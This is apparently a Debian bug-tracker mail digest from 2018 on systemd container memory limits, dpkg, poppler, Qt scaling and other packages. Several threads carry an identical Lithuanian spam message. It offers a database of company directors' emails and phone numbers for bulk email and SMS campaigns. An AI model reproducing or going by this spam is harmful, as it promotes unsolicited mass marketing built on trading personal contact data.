> purpose of the program is accessing this data, but the other
> objections 
> are significant enough that I do not see much value in having this 
> packaged.

I agree that Steve's last point got me, too. As long as one has to
check the created config file manually there is no point in automating
the rest of it.

> > That is actually a good point. I wonder if using a local copy might
> > be
> > a good alternative.
> 
> Obviously not, since it would quickly become stale considering the 
> nature of the data.

This I don't understand. The way I understand it these are legit
offerings by universities, telcos, etc. Why should they become stale?

Michael
-- 
Michael Meskes
Michael at Fam-Meskes dot De, Michael at Meskes dot (De|Com|Net|Org)
Meskes at (Debian|Postgresql) dot Org
Jabber: michael at xmpp dot meskes dot org
VfL Borussia! Força Barça! SF 49ers! Use Debian GNU/Linux, PostgreSQL

signature.asc
Description: This is a digitally signed message part

Bug#890824: Container: unsets cgroup memory limit on user login

[Maximilian Philipps]

Package: systemd
Version: 232-25+deb9u1
Severity: important

Hi

I have an issue with Systemd unsetting the memory limit for my container,
whereupon programs like free and htop report having access to 8 exabyte
of memory.

The setup is the following:

Host:
Release: Debian jessie
Kernel: 4.9.65-3+deb9u2~bpo8+1 (jessie backports)
Container provider: libvirt 3.0.0-4~bpo8+1 (jessie backports)
Systemd: 215-17+deb8u7 (jessie)
cgroup hierarchy: legacy

Guest:
Release: Debian stretch
Systemd: 232-25+deb9u1 (stretch)

There are several containers running on the host, but this problem only
occurs with all the Debian stretch containers. Containers running Debian
jessie or older Ubuntu 12.04 aren't affected.
Each container is configured to cgroup enforced memory limit in it's
libvirt domain file.
Example:
4194304
2097152

Steps to reproduce + observations:
1) start a container with virsh -c lxc:// container.example.com
2) virsh -c lxc:// memtune container.example.com
   reports a hard_limit of 2097152
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"
outputs 2147483648
4) nsenter -t  -m -u -i -n -p free  reports 2097152 kB
5) ssh container.example.com free  reports 9007199254740991 kB
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"
outputs 9223372036854771712
6) nsenter -t  -m -u -i -n -p free  reports 9007199254740991 kB
7) virsh -c lxc:// memtune container.example.com
   reports a hard_limit of unlimited

As far as I can tell it seems to be that systemd unsets the cgroup memory
limit when creating the user session. However why it gets set to
9223372036854771712 instead of the 255G of the host I don't know.


In any case I am looking forward to a better solution than resetting the
limits through cron every minute.

-- Package-specific info:

-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.9.0-0.bpo.5-amd64 (SMP w/32 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) (ignored: 
LC_ALL set to en_US.UTF-8), LANGUAGE=en_US.UTF-8 (charmap=UTF-8) 
(ignored: LC_ALL set to en_US.UTF-8)

Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages systemd depends on:
ii  adduser 3.115
ii  libacl1 2.2.52-3+b1
ii  libapparmor1    2.11.0-3
ii  libaudit1   1:2.6.7-2
ii  libblkid1   2.29.2-1
ii  libc6   2.24-11+deb9u1
ii  libcap2 1:2.25-1
ii  libcryptsetup4  2:1.7.3-4
ii  libgcrypt20 1.7.6-2+deb9u2
ii  libgpg-error0   1.26-2
ii  libidn11    1.33-1
ii  libip4tc0   1.6.0+snapshot20161117-6
ii  libkmod2    23-2
ii  liblz4-1    0.0~r131-2+b1
ii  liblzma5    5.2.2-1.2+b1
ii  libmount1   2.29.2-1
ii  libpam0g    1.1.8-3.6
ii  libseccomp2 2.3.1-2.1
ii  libselinux1 2.6-3+b3
ii  libsystemd0 232-25+deb9u1
ii  mount   2.29.2-1
ii  procps  2:3.3.12-3
ii  util-linux  2.29.2-1

Versions of packages systemd recommends:
ii  dbus    1.10.24-0+deb9u1
ii  libpam-systemd  232-25+deb9u1

Versions of packages systemd suggests:
pn  policykit-1    
pn  systemd-container  
pn  systemd-ui 

Versions of packages systemd is related to:
pn  dracut   
pn  initramfs-tools  
ii  udev 232-25+deb9u1

-- no debconf information

Bug#890824: Container: unsets cgroup memory limit on user login

[Michael Biebl]

Am 19.02.2018 um 13:09 schrieb Maximilian Philipps:
> Package: systemd
> Version: 232-25+deb9u1
> Severity: important
> 
> Hi
> 
> I have an issue with Systemd unsetting the memory limit for my container,
> whereupon programs like free and htop report having access to 8 exabyte
> of memory.
> 
> The setup is the following:
> 
> Host:
> Release: Debian jessie
> Kernel: 4.9.65-3+deb9u2~bpo8+1 (jessie backports)
> Container provider: libvirt 3.0.0-4~bpo8+1 (jessie backports)
> Systemd: 215-17+deb8u7 (jessie)
> cgroup hierarchy: legacy
> 
> Guest:
> Release: Debian stretch
> Systemd: 232-25+deb9u1 (stretch)
> 
> There are several containers running on the host, but this problem only
> occurs with all the Debian stretch containers. Containers running Debian
> jessie or older Ubuntu 12.04 aren't affected.
> Each container is configured to cgroup enforced memory limit in it's
> libvirt domain file.
> Example:
> 4194304
> 2097152
> 
> Steps to reproduce + observations:
> 1) start a container with virsh -c lxc:// container.example.com
> 2) virsh -c lxc:// memtune container.example.com
>    reports a hard_limit of 2097152
> 3) cat
> "/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"
> 
> outputs 2147483648
> 4) nsenter -t  -m -u -i -n -p free  reports 2097152 kB
> 5) ssh container.example.com free  reports 9007199254740991 kB
> 3) cat
> "/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"
> 
> outputs 9223372036854771712
> 6) nsenter -t  -m -u -i -n -p free  reports 9007199254740991 kB
> 7) virsh -c lxc:// memtune container.example.com
>    reports a hard_limit of unlimited
> 
> As far as I can tell it seems to be that systemd unsets the cgroup memory
> limit when creating the user session. However why it gets set to
> 9223372036854771712 instead of the 255G of the host I don't know.

I'm confused: Are you saying that systemd inside the guest (i.e. running
systemd v232) resets the memory limits on the host (running v215)?


-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#890825: Add a way to specify "ghost" files for files/dir created by maintscripts or applications

[Laurent Bigonville]

Package: dpkg
Version: 1.19.0.5
Severity: wishlist

In the rpm world, there is a way to define in the list of files, files
that are not installed by the package, but by the maintainer scripts (or
later created by the application itself).

It would be nice to have that kind of functionality as it allows the user
to immediately know the pkg that owns the file (without looking at the
maintainer scripts) and also maybe for maintainer so they don't need to
manually rm the file in postrm scripts.

Kind regards,

Laurent Bigonville

-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'unstable'), (1, 
'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=fr_BE.UTF-8, LC_CTYPE=fr_BE.UTF-8 (charmap=UTF-8), 
LANGUAGE=fr_BE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: SELinux: enabled - Mode: Permissive - Policy name: refpolicy

Versions of packages dpkg depends on:
ii  libbz2-1.0   1.0.6-8.1
ii  libc62.26-6
ii  liblzma5 5.2.2-1.3
ii  libselinux1  2.7-2+b1
ii  tar  1.29b-2
ii  zlib1g   1:1.2.8.dfsg-5

dpkg recommends no packages.

Versions of packages dpkg suggests:
ii  apt1.6~alpha7
pn  debsig-verify  

-- no debconf information

Bug#824712: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#872327: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890826: libpoppler46: [regression] Broken rendering of scan PDF from Xerox WorkCentre 5945

[Chris Boot]

Package: libpoppler46
Version: 0.26.5-2+deb8u2
Severity: important
Tags: security

Hi,

libpoppler46 version 0.26.5-2+deb8u2 breaks PDFs generated by a Xerox
WorkCentre 5945, which are scans of paper documents. The deb8u3 upload
does not correct the problem, but deb8u1 is confirmed fine.

libpoppler64 on stretch does not exhibit the problem. This appears to be
restricted to jessie.

I will follow up this bug with a PDF that exhibits the problem and a
couple of screenshots of the issue in a few minutes.

Best regards,
Chris

-- 
Chris Boot
bo...@debian.org

Bug#807866: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#884956: Now hidpi scaling is even more broken

[Lisandro Damián Nicanor Pérez Meyer]

El lunes, 19 de febrero de 2018 08:04:24 -03 wm4 escribió:
> On Mon, 19 Feb 2018 07:54:11 -0300
[snip] 
> Yeah, that is strange. 

*Too* strange. According to src/gui/kernel/qhighdpiscaling.cpp:

2) Per-screen scale factors
Some platform plugins support providing a per-screen scale
factor based on display density information. These platforms
include X11, Windows, and Android.

There are two APIs for enabling or disabling this behavior:
- The QT_AUTO_SCREEN_SCALE_FACTOR environment variable.
- The AA_EnableHighDpiScaling and AA_DisableHighDpiScaling
  application attributes

Enabling either will make QHighDpiScaling call 
QPlatformScreen::pixelDensity()
and use the value provided as the scale factor for the screen in
question. Disabling is done on a 'veto' basis where either the
environment or the application can disable the scaling. The intended 
use
cases are 'My system is not providing correct display density
information' and 'My application needs to work in display pixels',
respectively.

And efectively the code does that in usePixelDensity() from the same code. 
QPlatformScreen::pixelDensity() in X11 is implemented by
src/plugins/platforms/xcb/qxcbscreen.cpp, which is the file that the patch 
touches.

So the fact that the env variable "does not changes things" for you is really 
really strange.

Let's also look at the patch:

-m_pixelDensity = qMax(1, qRound(dpi/96));
+m_pixelDensity = qMax(1, (int) (dpi/96));

The first line is the original code. The only way I see this could work for 
you in -10 but not in -12 is that (dpi/96) > 2.

Please tell me which exact branch and model of monitor you have please, so I 
can check this value.


> I didn't create a new user, because that would
> change nothing. I made sure to override all environment variables for
> the test.

OK, but don't complain later if things do not work out for you.

> I can't test anymore because after fighting Debian's
> absolutely crappy package manager to make it downgrade to testing's
> Qt packages, it works again. (And I'll defend my word choice "crappy".
> Why can't it figure out transitive dependencies? It's just bad.
> aptitude didn't behave better.)

And this behavior makes me want to avoid helping you any further. So if you 
really value our work and are willing to help, please stop with this.


-- 
 SlackDeb: velo como un entrenamiento shaolin para geeks,
en vez de meditación y tortura física, abstinencia de internet y sexo
  Horacio Francisco Sebastián "Perrito" Durán Barrionuevo, sobre un
  viaje que Federico "SlackDeb" Peretti estaba planeando con su novia.

Lisandro Damián Nicanor Pérez Meyer
http://perezmeyer.com.ar/
http://perezmeyer.blogspot.com/


signature.asc
Description: This is a digitally signed message part.

Bug#697415: Reopen RFP: hdhomerun-config-gui -- GUI Configuration utility for Silicon Dust HD HomeRun

[Fabián Rodríguez]

reopen 697415

This has been packaged in Ubuntu since 14.04 LTS:
https://packages.ubuntu.com/search?suite=all§ion=all&arch=any&keywords=hdhomerun-config-gui&searchon=names

Perhaps that could help packaging in Debian.

-- 
Fabián Rodríguez
http://magicfab.ca/fsf

Bug#890810: Handling of symbolic links has been broken

[Thorsten Glaser]

Hi Jonathan,

> pax is incorrectly using utimes() to attempt to set the timestamps of symbolic
> links, rather than utimensat() with AT_SYMLINK_NOFOLLOW.

thanks for the preliminary analysis. I’ve noticed an error (in the
native BSD environment) which I believe to be related, if not the
same, but haven’t gotten around to debugging yet.

I’ll have to find a way to do this on systems without the *at()
syscalls, however. Since you already looked into this, perhaps
you have an idea for me ;)

Thanks,
//mirabilos
-- 
“It is inappropriate to require that a time represented as
 seconds since the Epoch precisely represent the number of
 seconds between the referenced time and the Epoch.”
-- IEEE Std 1003.1b-1993 (POSIX) Section B.2.2.2

Bug#890824: Container: unsets cgroup memory limit on user login

[Maximilian Philipps]

On 02/19/2018 01:50 PM, Michael Biebl wrote:

Am 19.02.2018 um 13:09 schrieb Maximilian Philipps:

Package: systemd
Version: 232-25+deb9u1
Severity: important

Hi

I have an issue with Systemd unsetting the memory limit for my container,
whereupon programs like free and htop report having access to 8 exabyte
of memory.

The setup is the following:

Host:
Release: Debian jessie
Kernel: 4.9.65-3+deb9u2~bpo8+1 (jessie backports)
Container provider: libvirt 3.0.0-4~bpo8+1 (jessie backports)
Systemd: 215-17+deb8u7 (jessie)
cgroup hierarchy: legacy

Guest:
Release: Debian stretch
Systemd: 232-25+deb9u1 (stretch)

There are several containers running on the host, but this problem only
occurs with all the Debian stretch containers. Containers running Debian
jessie or older Ubuntu 12.04 aren't affected.
Each container is configured to cgroup enforced memory limit in it's
libvirt domain file.
Example:
4194304
2097152

Steps to reproduce + observations:
1) start a container with virsh -c lxc:// container.example.com
2) virsh -c lxc:// memtune container.example.com
    reports a hard_limit of 2097152
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"

outputs 2147483648
4) nsenter -t  -m -u -i -n -p free  reports 2097152 kB
5) ssh container.example.com free  reports 9007199254740991 kB
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes"

outputs 9223372036854771712
6) nsenter -t  -m -u -i -n -p free  reports 9007199254740991 kB
7) virsh -c lxc:// memtune container.example.com
    reports a hard_limit of unlimited

As far as I can tell it seems to be that systemd unsets the cgroup memory
limit when creating the user session. However why it gets set to
9223372036854771712 instead of the 255G of the host I don't know.

I'm confused: Are you saying that systemd inside the guest (i.e. running
systemd v232) resets the memory limits on the host (running v215)?



No, the hosts still sees the 255GB. The systemd in the guest resets
the limits for the container when someone logs in.
In terms of the cgroup hierarchy /sys/fs/cgroup/memory/memory.limit_in_bytes
is always 9223372036854771712, which appears to be treated as no
 restrictions on the host.
However the memory.limit_in_bytes within the machine scope does change.

Bug#890827: Backport upstream security fix patch

[Marco Trevisan]

Package: libfprint
Version: 1:0.7.0-1

There's an upstream patch that fixes a potential security hole upstream,
that should be backported:
 * https://github.com/freedesktop/libfprint/commit/4bfee76

Bug#890824: Container: unsets cgroup memory limit on user login

[Maximilian Philipps]

On 02/19/2018 02:07 PM, Maximilian Philipps wrote:



On 02/19/2018 01:50 PM, Michael Biebl wrote:

Am 19.02.2018 um 13:09 schrieb Maximilian Philipps:

Package: systemd
Version: 232-25+deb9u1
Severity: important

Hi

I have an issue with Systemd unsetting the memory limit for my 
container,

whereupon programs like free and htop report having access to 8 exabyte
of memory.

The setup is the following:

Host:
Release: Debian jessie
Kernel: 4.9.65-3+deb9u2~bpo8+1 (jessie backports)
Container provider: libvirt 3.0.0-4~bpo8+1 (jessie backports)
Systemd: 215-17+deb8u7 (jessie)
cgroup hierarchy: legacy

Guest:
Release: Debian stretch
Systemd: 232-25+deb9u1 (stretch)

There are several containers running on the host, but this problem only
occurs with all the Debian stretch containers. Containers running 
Debian

jessie or older Ubuntu 12.04 aren't affected.
Each container is configured to cgroup enforced memory limit in it's
libvirt domain file.
Example:
4194304
2097152

Steps to reproduce + observations:
1) start a container with virsh -c lxc:// container.example.com
2) virsh -c lxc:// memtune container.example.com
    reports a hard_limit of 2097152
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes" 



outputs 2147483648
4) nsenter -t  -m -u -i -n -p free  reports 2097152 kB
5) ssh container.example.com free  reports 9007199254740991 kB
3) cat
"/sys/fs/cgroup/memory/machine.slice/machine-.scope/memory.limit_in_bytes" 



outputs 9223372036854771712
6) nsenter -t  -m -u -i -n -p free  reports 9007199254740991 kB
7) virsh -c lxc:// memtune container.example.com
    reports a hard_limit of unlimited

As far as I can tell it seems to be that systemd unsets the cgroup 
memory

limit when creating the user session. However why it gets set to
9223372036854771712 instead of the 255G of the host I don't know.

I'm confused: Are you saying that systemd inside the guest (i.e. running
systemd v232) resets the memory limits on the host (running v215)?



No, the hosts still sees the 255GB. The systemd in the guest resets
the limits for the container when someone logs in.
In terms of the cgroup hierarchy 
/sys/fs/cgroup/memory/memory.limit_in_bytes

is always 9223372036854771712, which appears to be treated as no
 restrictions on the host.
However the memory.limit_in_bytes within the machine scope does change.
On a second thought, maybe you assumed that the cgroup namespace is 
unshared?
This is not the case, cgroup namespaces are fairly new and as far as I 
know not supported

by libvirt-lxc.

Bug#886854: please create debian-r mailing list

[Charles Plessy]

Le Wed, Jan 10, 2018 at 03:20:26PM +0100, Sébastien Villemot a écrit :
> 
> Name: debian-r
> Short description: Maintenance of R packages in Debian
> Long description: Discussions about the packaging in Debian of R packages,
>  in particular from CRAN or Bioconductor.
> Category: Developers
> Subscription policy: open
> Post policy: open
> Web archive: yes

Dear Listmasters,

I fully support Sébastien's request.  At the moment R packaging is
scattered between multiple teams (mostly Debian Med and Debian Science).
The creation of the debian-r mailing list will help us to join forces
(which we are already doing on salsa with the r-pkg-team group).

Have a nice day,

Charles

-- 
Charles Plessy
Debian Med packaging team,
http://www.debian.org/devel/debian-med
Tsurumi, Kanagawa, Japan

Bug#890826: libpoppler46: [regression] Broken rendering of scan PDF from Xerox WorkCentre 5945

[Chris Boot]

Control: notfound -1 poppler/0.26.5-2+deb8u1
Control: found -1 poppler/0.26.5-2+deb8u3
Control: notfound -1 poppler/0.48.0-2+deb9u2

On 19/02/18 12:48, Chris Boot wrote:
> I will follow up this bug with a PDF that exhibits the problem and a
> couple of screenshots of the issue in a few minutes.

Attached:

- test document.pdf: a representative sample PDF document affected by
  this bug

- Screenshot1.png: the PDF rendered with a broken libpoppler46 through
  evince (the same thing happens with okular)

- Screenshot2.png: the same PDF rendered using ImageMagick for reference

Best regards,
Chris

-- 
Chris Boot
bo...@debian.org

GPG: 8467 53CB 1921 3142 C56D  C918 F5C8 3C05 D9CE 


test document.pdf
Description: Adobe PDF document

Bug#890828: Please support Python 3

[Thomas Goirand]

Package: python-couchdb
Version: 0.10-1.1
Severity: important

Hi,

While trying to switch openstack-trove to Python 3, I noticed that
python-couchdb has no support for Python 3. Please do that, and also if
possible, please upgrade to latest upstream release (ie: 1.2).

Alternatively, please allow me to NMU such a change.

Cheers,

Thomas Goirand (zigo)

Bug#888757: rustc: Please backport upstream patch to fix sparc64 CABI

[John Paul Adrian Glaubitz]

Hi!

A working version of rustc_1.24 for sparc64 should be in the archives
and once rust_1.24 gets uploaded, it should build properly on sparc64.

Please remember to update the patch debian/patches/u-fix-sparc64-cabi.patch
to include the hunk in [1]. The additional parameter was required for
1.23 but later removed with 1.24.

Adrian


[1] 
https://github.com/rust-lang/rust/pull/47541/commits/1203b3d892b6f8424f6540173e31af1cda304e36


--
 .''`.  John Paul Adrian Glaubitz
: :' :  Debian Developer - glaub...@debian.org
`. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
  `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913

Bug#848525: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#890517: killer's CRON logs out users once per hour

[Wolfgang Schweer]

On Thu, Feb 15, 2018 at 03:21:41PM +, Mike Gabriel wrote:
> On  Do 15 Feb 2018 15:23:46 CET, Petter Reinholdtsen wrote:
> 
> > [Mike Gabriel]
> > > We never came to the point to investigate this closer, but personally,
> > > I think that killer on a Debian Edu system with MATE desktop env has
> > > not been usable at least since jessie.

I'm unable to reproduce the reported issue (Debian Edu Jessie, Stretch, 
Buster; tested LightDM, GDM, SDDM).

> > The only way I can think of that this can happen, is if the display
> > manager is broken and fail to register logged in users in the utmp/wtmp
> > files.  You can verify this by running 'w' or 'who' after login to see
> > if the user is registered as logged in.  If this is the case, the fatal
> > bug is in the login service you are using, not killer.
> 
> Output of "who" looks good, if MATE gets launched locally (vt7). Display
> Manager is LightDM with Arctica Greeter on top.

> However, I noticed that X2Go does not register the logged in user in
> utmp/wtmp.
 
Mike, could you provide some details?

IIRC, for connections to a system that runs Nomachine technology (not 
part of Debian) the utmp/wtmp files are not used by design (on the 
system running NX server). Instead, NX keeps track of the 
forwarded sessions itself.

IMO killer shouldn't be installed on a system running NX technology 
because the reported failure will show up for sure.
 
Wolfgang


signature.asc
Description: PGP signature

Bug#675319: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data

Bug#882697: stretch-pu: package apparmor/2.11.0-3+deb9u1

[Adam D. Barratt]

On 2018-01-07 11:23, intrigeri wrote:

Control: tag -1 + moreinfo

The issue in Linux 4.14 with feature set pinning vs. mount operations
was not fixed yet so the 2.11.0-3+deb9u1 package that was accepted in
the proposed-updates stable queue is not suitable for Stretch
currently ⇒ dear release team, feel free to reject or delete it if it
helps you ensure it does not land in the next point release.

Also, after some discussion with Fabian the proposed change was
re-implemented slightly differently in testing/sid; I want to do the
same for the Stretch proposed update ⇒ tagging "moreinfo".


Any news on this? We're likely to be looking at freezing p-u for the 
next point release in a couple of weeks time.


Regards,

Adam

Bug#874461: Direktoriaus kontaktai - tai Jūsų klientas

[Gautas pranešimas]

Laba diena,


Noriu Jus informuoti apie šių metų pasikeitimą dėl atnaujintos visos Lietuvos 
įmonių bazės 2018 metų sausio vidurio.
Visi juridiniai asmenys pateikti bazėje yra veikiantys, realiai vykdantys 
veiklą, turintys įdarbintų darbuotojų. Duomenys pagal Sodrą, Registrų centrą.
 
Bazėje nurodoma ir apyvarta, darbuotojų atlyginimai, darbuotojų skaičius, 
transporto skaičius ir daug kitų duomenų, kuriuos matysite pavyzdyje.
 
Duomenis galima filtruoti pagal veiklas, miestus ir kitus duomenis.
 
 
Šią bazę verta turėti visoms įmonėms. Pateiksiu priežastis:
 
1) Kontaktai pateikti bazėje direktorių ir kitų atsakingų asmenų, didelė 
tikimybė Jums surasti naujų klientų, partnerių, tiekėjų, kai tiesiogiai 
bendrausite su direktoriais, komercijos vadovais.
 
2) Konkurentų analizavimas, tiekėjų atsirinkimas pagal Jums reikalingus 
kriterijus, galite atsifiltruoti pagal įmonės dydį, bazėje nurodoma kiek įmonės 
